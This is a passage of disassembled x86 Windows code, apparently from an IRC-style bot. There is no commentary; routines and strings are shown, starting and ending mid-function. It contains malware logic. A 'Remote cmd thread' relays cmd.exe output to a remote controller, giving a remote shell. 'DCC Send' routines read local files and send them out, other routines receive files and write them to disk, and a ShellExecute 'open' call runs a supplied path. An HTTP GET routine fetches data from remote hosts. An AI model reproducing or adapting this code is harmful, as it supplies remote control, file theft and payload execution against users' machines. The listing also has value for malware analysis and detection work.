		mov	dword_41DE24, eax
		mov	eax, [ebp+var_36C]
		mov	dword_41DE18, eax
		mov	eax, [ebp+var_724]
		mov	dword_41DE1C, eax
		push	[ebp+var_720]
		call	dword_4170A4	; CloseHandle
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0


loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DE24
		call	dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	dword_41DE1C
		call	dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------


loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax


loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------


loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h


loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DE24
		call	dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DE20
		call	dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0


loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	dword_417248	; recv
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61


loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	dword_41724C	; htonl
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------


loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64	; clock
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_5E8], eax


loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------


loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax


loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------


loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	dword_417244	; inet_addr
		push	eax
		call	dword_41724C	; htonl
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A


loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_9F4], eax


loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8


loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------


loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------


loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64	; clock
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_9F4], eax


loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------


loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------


loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516


loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536


loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556


loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F


loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758


loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_402758:				; CODE XREF: sub_402698+ABj
